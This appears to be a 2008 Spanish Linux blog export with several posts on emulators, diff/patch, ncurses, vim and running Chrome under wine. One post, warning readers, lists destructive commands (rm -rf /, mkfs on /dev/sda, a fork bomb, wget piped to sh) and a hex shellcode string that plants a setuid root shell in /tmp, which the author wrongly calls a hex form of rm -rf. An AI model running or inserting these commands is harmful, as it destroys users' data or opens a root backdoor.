Intente conseguir una verdadera shell conectándome por SSH con el user guest y pass guest y aunque el puerto esta abierto no me pude loguear con esos datos

Pero para todos aquellos que disfrutan hacer las cosas al más puro estilo geek, o que deseen buscar en google como lo haría Chuck Norris (bueno en realidad Chuck Norris no necesita buscar en Google), goosh es lo que andabas buscando.

Goosh.org

ROUND 1:

ROUND 2:

ROUND 3:

ROUND 4:

Al parecer las imagenes son de linuxadictos

Bueno la imagen es una risa completa pero es de las primeras que aparecen en Google al buscar algo relacionado con tux y la muerte xD

Entrando al tema, navegando por ahí me tope con este post donde menciona 7 comandos que ponen en completo riesgo nuestro OS.

Revisándolos..
rm -rf /
Bastante simple verdad, lo que hace es borrar todos los ficheros desde la raíz del sistema “/” de forma recursiva y sin confirmación alguna..

No se quien podria ejecutar algo así pero al menos puede servir para hacer alguna broma de mal gusto xD

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
“\x6e\x2f\x73\x68\x00\x2d\x63\x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Aparentemente el mismo comando anterior en forma hexadecimal.

mkfs.ext3 /dev/sda

Este se nota a simple vista lo que hace, va a formatear el disco duro usando el sistema de archivos ext3, bien puede variar algo y en lugar de ser /dev/sda podría ser /dev/hda.. Todo depende.

){:|:&};:

Una bomba fork, ejecuta procesos de forma indefinida hasta que el sistema deje de responder, en otras palabras una negación de servicio a nivel local.

No es tan dañino como los comandos anteriores pero seguro que nadie quisiera ejecutarlo.

any_command > /dev/sda

Una forma simple de arruinar la partición donde esta instalado el sistema, la salida del comando se va a escribir en /dev/sda (otra vez, podría ser /dev/hda/) dejándola completamente inservible.

wget http://some_untrusted_source -O- | sh

Este no garantiza que va a pasar algo malo, lo que hace es que descarga algo de una web ‘x’ y posteriormente lo ejecuta..

El riesgo corre en que no sabemos que estamos descargando.

mv /home/yourhomedirectory/* /dev/null

Este mueve todo lo de tu home a ese agujero negro llamado /dev/null xD

Claro que estos no son los únicos comando peligrosos, son simples formas un tanto ingeniosas de ocupar los mismos recursos del sistema, se pueden dar variaciones y cosas que de igual forma sean fatales para el pingüino (Linux):

Y varias formas más de combinar estos comandos, claro que para que funcionen deben ser ejecutados como root.

En Youtube andan varios vídeos en su mayoría del famoso comando rm -rf /:

Ahora y a modo de actualización, les comento que no se que hacer con el blog en los próximos días, digo esto porque en el hosting actual solo va a seguir online hasta el próximo 2 de enero xD, tengo pensada una jugada para recuperar y poner todo online de vuelta ese mismo día, pero también quizás llego el momento de dar el salto a un host de pago y un dominio de pago para seguir creciendo..

Aunque puede también que me de un pequeño receso de la blogosfera y luego regrese junto con el proyecto del planeta (cosa que traigo pensada desde hace muchos meses pero nunca la pongo en practica).

Pase lo que pase gracias a todos los que se toman unos minutos para pasar y leer lo que escribo en este blog

]]> http://mesblo.wordpress.com/2008/12/17/comandos-malos-gnulinux/feed/ 3 Lyoko Linux Dead http://mesblo.wordpress.com/2008/12/11/ultramixer-dj-audacity-editando-el-audio/ http://mesblo.wordpress.com/2008/12/11/ultramixer-dj-audacity-editando-el-audio/#comments Fri, 12 Dec 2008 05:04:16 +0000 Lyoko http://lkoblo.100webspace.net/blog/?p=218 ]]> Era un día cualquiera y viajaba como de costumbre en uno de los populares microbúses del transporte colectivo del gran San Salvador, mientras escuchaba en la radio un remix de Zombie me llego a la mente la curiosidad de si existían programas similares al conocido VirtualDJ o Atomix para GNU/Linux.

La respuesta es si.

Después de buscar por unos momentos en Google llegamos al primer programa:

El Ultramixer, que es un programa estilo DJ para mezclar y aplicar efectos a archivos de audio.

Muy similar al VDJ y Atomix, entre las opciones se encuentras las comunes de todo Software de mezcla, aumentar y disminuir el pitch de la canción, tener las opciones de una tornamesa y así poder reproducir 2 pistas a la vez, también detalles como el loop entre otras cosas.

Lo básico para poder realizar mezclas al más puro estilo de un DJ geek.

Sin embargo también tienen peros, empezando porque no es Software libre ni es exclusivo para linux, sin embargo este ofrece 3 opciones de registro y activación siendo una de estas la free que al menos yo no vi tan mal de no ser por un aviso que se mantiene 25 segundos en cada iniciada de la aplicación.

Esta programado en java por lo cual es una aplicación algo robusta, y un problema bastante grande es que solo permite mezclar en tiempo real, en otras palabras no se pueden grabar las creaciones que hacemos..

Este problema me lleva al siguiente programa.

El Audacity que es un soft también para ediciones de audio, aunque de apariencia es menos estético que el UltraMixer es bastante poderoso.

Entre las opciones tenemos las básicas de aumentar y disminuir el pitch, recortar trozos de las canciones y moverlas a diferentes tiempos, así como aplicarle unos cuantos efectos y a diferencia del otro este si es Software libre por lo cual esta en constante desarrollo y si permite grabar y guardar las pistas modificadas.

Entre otras opciones como la capacidad de eliminar ruidos en archivos de audio.

Aparte que es fácil de usar y bastante intuitivo.

2 buenos programas que pueden servir a la hora de editar un archivo de audio o para simple entretenimiento en un rato de ocio puro..

El UltraMixer se puede descargar de la sección de Downloads en su web eligiendo por su puesto la descarga para linux:

www.ultramixer.com

Y el Audacity se encuentra en los repositorios (al menos los de Debian) por lo cual a mi me basto hacer un:

aptitude install audacity

PD: El Sábado es el superclasico español, espero con ansias ver esa revancha de la tamporada pasada

Ya era hora de escribir otro tutorial , y elegí escribir sobre los tan comunes parches que por x razón ocupamos a cada momento.

(En GNU/Linux)

Comencemos por el concepto:

Cita wikipedia:

En informática, un parche es una sección de código que se introduce a un programa. Dicho código puede tener varios objetivos; sustituir código erróneo, agregar funcionalidad al programa, aplicar una actualización, etc.

Ahora vamos a aclarar que el patching se pueden aplicar a 2 tipos de cosas:

• Al código fuente del programa
• Al archivo binario (ya compilado)

Por ahora vamos a concentrarnos en el primer tipo.

/*Parcheando un código fuente*/

Supongamos que entramos a una web de algún proyecto open source, el código fuente de la aplicación que se esta creando en el proyecto esta disponible desde allí, nos ponemos a revisar el código y vemos algo como esto:

#include <stdio.h>

main() {

int *pnt;
int i, a[3]={1,2,3};

for(i=0; i<3; i++) {
pnt = &a[i];
printf(“Puntero = %d\n”, pnt);
}

return 0;

}

(Obviamente no es un programa real ni parte de ningún otro, solo un ejemplo que escribí que va a servir para demostrar el uso de los parches)

Ohh, ahí hay un error en una linea, si se compila de esa forma el programa no va a funcionar como debe.

printf(“Puntero = %d\n”, pnt);

En esa parte, hay un error en el acceso del contenido del puntero, falta el *.

Un error mínimo que no va a dar ninguna clase de problemas en la compilación pero que haría que el programa fuera inútil, sabiendo esto ¿que podríamos hacer?.

Pues una opción seria aplicarle un parche que corrija el error.

¿Como hacerlo?

En GNU/Linux disponemos de dos herramientas que hacen el trabajo extremadamente fácil.

• diff
• patch

Lo primero seria guardar el código fuente, como es un ejemplo, que tenga de nombre programa1.c , ahí tendríamos el programa tal cual esta con el error incluido, ahora creo otro archivo con el mismo código pero cambiado la linea del error por esta:

printf(“Puntero = %d\n”, *pnt);

De hecho ese seria el único cambio (en este caso agregar el *), el código reparado lo guardamos como programa2.c

Ahora viene la magia, diff es un programa que compara 2 archivos y muestra las diferencias de este, en este caso eso es justo lo que necesitamos.

La sintaxis:

diff programa1.c programa2.c > parche.patch

Analizando la linea notamos que compara los dos programas y las diferencias las escribe en un nuevo archivo (parche).

Ya tenemos el parche, ahora solo falta aplicarlo, esto lo vamos a hacer con otra aplicación de los sistema unix que se llama patch.

Lo que hace este es que toma las diferencias de 2 programas (el parche) y esta diferencia la aplica al archivo original.

La sintaxis:

patch -p1 -i parche.patch programa1.c

Analizando, el -p1 se puede omitir en este caso, se ocupa más que todo cuando hay parches en directorios diferentes y sirve para omitir los slash y la ruta superior, el -i viene de input y lee el archivo parche.patch

Si todo salio bien el sistema arroja este mensaje:

patching file programa1.c

Y si no hay errores el programa ya debería estar parchado

Ahora podemos enviarle el parche a los lideres del proyecto para que lo reparen .

/*Parchando un archivo binario*/

Ahora vamos al segundo caso, que pasa si el código fuente del proyecto ya fue compilado (aun con el error) y también ya fue distribuido.

Primero seria sustituir el archivo de la descarga de la web por el correcto, pero.. ¿y los usuarios? , cuando son programas muy grandes no se les puede decir que desinstalen todo y vuelvan a bajar el programa y después volver a instalarlo, en este caso es mejor aplicarle un parche que solucione el error.

Tomando como ejemplo el mismo programa, el mal acceso al contenido del puntero hace que muestre datos completamente diferentes a lo que debería:

¿Como generar el parche?, pues relativamente es bastante fácil, y vamos a usar las mismas herramientas que cuando parchamos el código fuente.

Como anteriormente teníamos el código fuente original (con el error) programa1.c y el código reparado programa2.c, vamos a compilar los 2 código para generar 2 binarios.

gcc programa1.c -o programa1

gcc programa2.c -o programa2

Ahora vamos a compararlos de esta manera y a generar el nuevo parche:

diff -a –binary programa1 programa2 > patch

Revisando el comando, diff es la aplicación, el -a indica que va a tratar los archivos como texto y va a comparar linea por linea, el –binary que va a ser una comparación binaria y el parche va a ser de la misma forma, programa1 y programa2 son los archivos ya compilados y el > parche indica que la comparación va a generar un parche de nombre parche (xD) .

Con eso ya tenemos todo listo, ¿como lo aplicamos?.

Pues bastante parecido al ejemplo anterior y siempre usando patch.

La sintaxis del comando en este caso resulta bastante simple:

patch –binary programa1 parche

patch es la aplicación encargada de parchar, –binary que va a ser un trabajo binario, programa1 es el fichero al cual le vamos a aplicar el parche y parche es el nombre con el que guardamos el patch (todo debe estar en el mismo directorio).

Si tenemos éxito en estos 2 pasos tendríamos que tener algo parecido a esto y con buenos resultados :

Ya sirve!!

En caso de que quisiéramos facilitarle aun más el trabajo al usuario y evitar que se ponga a ejecutar comandos podríamos hacer todo automáticamente con un pequeño script en bash:

#!/bin/bash

cd /ruta donde se encuentra el binario/

wget www.webdelproyecto/parche

patch –binary programa1 parche

y con eso solo tendría que ejecutar el scrpt.

P.e: ./parcheprograma.sh

Como se dieron cuenta es un tutorial sencillo, sin muchas complicaciones pero que se puede ampliar mucho más dependiendo la cantidad de ficheros que queramos parchar el modo de hacerlo entre otras cosas, pero esto sirve como algo introductorio, hay muchos más parámetros de estas 2 herramientas que pueden conocer leyendo los manuales de estos :

man diff

man patch

Y con esto termina todo, un saludo a los que leen.

Referencias:

Parche (computación)

–

/* By Lyoko

www.lyoko.sv.tc xD */

Hace cuanto tiempo el SNES estaba en su apogeo aquí en el país?, unos 11 años?

Si algo recuerdo bastante bien es que en esos tiempos mis tíos vivían bastante cerca de mi casa, así que varios tardes de la semana la pasábamos con ellos, a mi me gustaba bastante porque me dejaban jugar con su Super Nintendo , si, cuanta diversión me traia un juego que ahora es mítico y que se llamaba Donkey Kong Country.

Simplemente para un niño de 7 años pasar casi toda la tarde jugando eso era lo mejor que podía existir, ¿pero por qué hablo de esto aquí?.

Porque hasta hace poco me di cuenta que existe un emulador del SNES Para Linux de nombre ZSNES xD, en la web oficial del proyecto esta la descarga de las fuente para compilarlo uno mismo.

Cosa que me dispuse a hacer pero que me dio error porque tenia que compilarlo usando una versión del gcc menor a la que yo tengo instalada, entonces pase un buen rato buscando una solución para eso y no tener que hacer el downgrade.. Después de varias búsquedas con google, probar algunos parches (Creo que la próxima entrada del blog va a ser sobre este tema) y otras cosas, me di cuenta que el ZNES estaba en los repositorios jaja, hasta ya estaba pensando que después de compilarlo lo iba a empaquetar en un .deb y después lo iba a subir a Internet para ponerlo a disposición de cualquiera :S .

Entonces.. ya no era necesario compilarlo sino que solo instalarlo con el aptitude:

aptitude install zsnes

Claro que ahora con el emulador instalado, necesitaba buscar algunos juegos y como es obvio el primero que fui a buscar fue el favorito de mi niñes, después de pasar por unos cuantos lugares encontré el ROM listo para ser descargado, luego de un rato ya estaba jugando otra vez con Donkey Kong:

Pero al parecer el ZSNES da problemas con el sonido pero que se puede solucionar instalando esto:

libsdl1.2debian-oss

Y cargando el emulador con estos parámetros:

zsnes -ad sdl

Pero retrocediendo un par de años, mi diversión no era el SNES si no que el histórico NES :

Já , quien no se va a acordar de eso, el icono de este era el recontra conocido juego de Super Mario Bros, y ahora viene el porque del titulo del blog.. Me entere que en aquel juego existe un error de programación, quizá no error pero si un nivel que probablemente era con el que los desarrolladores testeaban el juego y que olvidaron eliminarlo o no lo quisieron hacer.

El famoso mundo -1 o el minus world, un nivel donde solo se puede llegar atravesando una pared y después entrar por una tubería y automáticamente llegas al mundo negativo, donde por más que llegues al final este te regresa al principio quedando en un bucle infinito donde al pasar los segundos se muere por la falta de tiempo.

Se puede leer bastante de eso en este post de Taringa!.

Al saber esto por supuesto que quería probarlo yo mismo, por lo que me puse a buscar un emulador de NES para Linux y encontré el iNES, este si no esta los repositorios por lo que hay que bajarse los binarios desde la web y correrlo con la terminal de esta manera:

./ines32 nombredelrom.nes

Para ver la ayuda del programa se hace asi:

./ines32 -help

Ya con el emulador y con el Rom de Mario también listo me puse a intentar llegar al minus world sin éxito alguno xD

Pero en el pack donde venia el Rom del Super Mario no venia solo, también venia el Super Mario 2 y 3.

Este ultimo mi favorito de esta consola, y también el juego que más me pudo enviciar en aquellos tiempos, que a pesar de no ser un juego con gráficas sorprendentes como los de ahora, de tener un control rectangular con solo 8 botones que hacia que dolieran los dedos al pasar el tiempo, tenia ese toque que podía hacer que todo niño se sintiera feliz con estar jugándolo.

Cuando me puse a jugarlo y escuche todos los sonidos y la música del juego por un momento sentí como si hubiera retrocedido el tiempo por unos segundos y otra vez tuviera 6 ó 7 años y estuviera una tarde en mi casa pasando uno de aquellos momentos de calidad -

Grandes clasicos, parte de la historia y que siempre valen la pena recordarlos.

Resulta que anteriormente ya había reinstalado vim pero no fue solo una reinstalación sino que también le pase el parámetro –purge (borre toda la configuración y la deje como estaba por default), y para que vim coloree como debe de ser hay que descomentar un par de lineas de este archivo:

/etc/vim/vimrc

Descomentar la linea:

syntax on

Y también:

set background=dark

Guardar y con eso ya debería mostrarse como debe:

El titulo esta algo dramático pero sirve para llamar la atención ..

Como un pequeño offtopic:

No se como paso pero se habían borrado los comentarios de aproximadamente los últimos 15 días , sepa si moví algo sin querer pero de que paso, paso, pero por suerte el lunes pasado me decidi a sacar el primer backup del blog xD, (si, el primero) , gracias a eso puede restaurar esos comentarios desde el phpmyadmin .

Ahora al tema principal:

Una de las virtudes del humano es el poder evolucionar y progresar a cosas mejores, es nuestra naturaleza y se aplica incluso a la informática. Los tiempos cambian y la era en la que MSDOS era el único rey ya termino, sin embargo y por desgracia todavía quedan secuelas de ese “reinado” y un claro ejemplo es el uso que todavía se le sigue dando al mítico TURBO C , y que muchos todavía nos vemos obligados a escribir programas exclusivos para windows en las universidades y/o trabajos.

Para los que estan relacionados con el medio les va a sonar familiar la librería conio.h, si, esa misma cabecera de borland que usamos a cada momento para escribir los programas en modo texto y para ocupar las famosas funciones, getch(), clrscr(), gotoxy(x,y), y que es el impedimento #1 de porque no es común tener programas portables de windos a linux..

(conio.h no es una librería de GNU/Linux).

¿Entonces ante esta problemática que se puede hacer?.

Para nuestra fortuna y como era de esperarse ya pensaron en eso y tenemos una gran alternativa al conio.h, borland y al turbo c que se llama Ncurses, me voy a ahorrar el trabajo de dar el concepto porque ya esta explicado en la wikipedia, asi que solo estan a un click de conocerlo .

La instalación es fácil en debian y derivados, basta con hacer:

apt-get update

apt-get install ncurses*

Ahora, un programa sencillo que use ncurses seria uno que te pida el nombre y después lo imprima en pantalla xD (uy) .

En ncurses la sintaxis es similar a si estuviéramos usando el stdio.h y conio.h, sin embargo hay algunas cosas nuevas que le dan más potencia a curses y que hacen que varien algunas cosas un poco con respecto a lo que estamos acostumbrados.

A lo bueno (escribir un programa usando ncurses) :

Lo primero y obvio incluir la cabecera en el programa:

#include <ncurses.h>

después viene la declaración de la función principal, la variable del tipo char y ahora algo importante que es iniciar la pantalla que se hace con la función initscr() , podemos borrar los datos que ya pudieran estar en la pantalla con erase() (vendría siendo el equivalente al clrscr() del conio.h)

La impresión se hace con printw(), y la sintaxis es la misma que el printf(), la lectura de datos se hace con scanw() y la sintaxis es la misma que el scanf(), por ultimo si queremos esperar un caracter del teclado se hace lo mismo que en turbo c, getch(), ahora algo importante también, cerrar la ventana con endwin() y sin olvidar el común return 0 .

queda de esta forma:

Nótese que estoy usando nada más el gedit que viene incluido en gnome, no necesito más.. después solo es cuestión de guardar el programa con una extensión .c

Si quisiéramos sentirnos más leets a la hora de programar podemos usar el vim para codear en la misma consola:

/* No se porque no me coloreo las funciones ni resalto nada , pero en un vim sin problemas se ve bastante bien xD */

¿Y como se viera el programa compilado y ejecutado?

/* Para compilar (via terminal):

gcc ncurses.c -o ncurses -lncurses

gcc es el compilador de linux, ncurses.c es el código fuente del programa ncurses es el nombre con el que se va a guardar el programa y el -lncurses es para obligar al compilador a usar la librería. */

Bonito verdad? , ese mismo programa se podría hacer en turbo c usando las librerías nativas de el:

Y ejecutándolo:

Pero esta no es toda la grandeza de usar ncurses, sino que es mucho más potente y amplio que usar conio.. con ncurses se pueden hacer las mismas cosas que con conio y mejor, p.e:

El uso de colores en la consola, permite hacer programas que funcionen con pestañas , entre otras cosas. Espero poder enseñarles otro programa en alguna otra entrada cuando ya haya ampliado más el tema .

Para ver la documentación se puede con:

man ncurses

Y para ver la documentación de las funciones que este trae con:

man función

Hablando un poco del entorno de programación si a alguien no le gusta usar gedit o vim siempre pueden hacerlo por medio de anjuta para más comodidad

El tema de ncurses es largo, hay documentación en Internet pero a mi parecer todavía esta deficiente, asi que yo también ando en la búsqueda de encontrar información mas completa, pero por el momento y si les interesa siempre se le puede preguntar al gran google.

¿Pero los programas escritos usando ncurses como los podemos usar en Windows?

Pues se puede con PDCurses pero el tema lo dejo para otra entrada del blog, porque creo que ya se agrando mucho esta xD

–

—–

Una de las frases que más he escuchado durante toda mi vida por parte de mi familia, es que en un medio laboral competitivo los que logran algo son los mismos que han logrado diferenciarse del resto, entonces lo mejor es siempre aprender cosas nuevas y por qué no transmitirlas a gente que les interese tanto como a mi?

Saludos a los que leen !

Pasando por alto los misterios y los parecidos curiosos del logo (nótese que la comparación va más allá haciéndola con una webcam y el zorro (o panda) de firefox xD ), posteo la forma para ejecutar el navegador estrella de google en los sistemas GNU/Linux .

Hace unos días lanzo en primicia un beta de su navegador propio llamado Google Chrome, por desgracia solo disponible por el momento para windows.

Bastante simple pero funcional como es la costumbre de Google, asi que para gente como yo que no necesitamos mucho para ser feliz es un buen producto xD

Ahora a lo bueno, ¿Como ejecutarlo en Linux? .

Hay 2 formas hasta el momento, desde la web oficial se pueden descargar las fuentes y compilarlo uno mismo, sin embargo eso no significa que va a funcionar a la perfección, ya que esa opción esta orientada más a los desarrolladores de la compañía que a otra cosa.

Entonces por el momento lo mejor y la opción más conocida… wine!

Lo primero es descargar la versión más nueva y necesaria de wine para poder correrlo sin problemas (1.1.4)..

Esta versión por no ser la estable todavía no esta en los repositorios, asi que el método para la instalación va a ser diferente al típico apt-get install (bueno, no inmediatamente xD).

Entonces tenemos que agregar unos nuevos repositorios para poder usar esta versión, la forma de hacerlo para diferentes distribuciones esta aquí:

http://www.winehq.org/site/download

Una vez seguidos los pasos ya podemos instalar wine normalmente:

apt-get install wine

o

aptitude install wine

Ahora antes de comenzar con la instalación del GC hay que hacer estas cosas antes:

cd $HOME
rm winetricks
wget http://www.kegel.com/wine/winetricks
mv .wine .wine.old
sh winetricks msxml3 corefonts firefox flash winxp

Explicando, se mueve al directorio home del usuario, en caso que haya antes un script llamado winetricks lo borra.

Después descarga el nuevo script, y renombra el fichero .wine a .wine.old, por ultimo se ejecuta el script (winetricks) que se encarga de descargar e instalar esos programas en wine que son necesarios para el funcionamiento del GC.

Una vez hecho esto ya podemos instalar el navegador

Descarga

Una vez descargado solo se ejecuta por medio del wine, bien con click derecho y “ejecutar con wine” o por la terminal con un:

wine nombre.exe

Ahora esperar que se descargue e instale..

Pero.. todavía no esta listo para usarse del todo, para eso hay que pasarle 2 parámetros al ejecutable.

wine chrome.exe –no-sandbox –new-http

Y ahora si, ya podemos usar el GC en Linux

Pero mi opinión es que esto no es algo muy practico, usarlo con el wine le mata todas las virtudes que posee, deja de ser ligero y sencillo y se vuelve bastante pesado, aparte de algunos problemas que note como que los vídeos de youtube aparecen cabeza abajo (wtf?! o_O).

Asi que es mejor esperar un rato a que este la versión oficial para los linuxeros , entonces este método queda como una forma friki/geek que tienen más utilidad para ser presumida de que podes usar GC en Linux que para usarlo realmente.

Referencias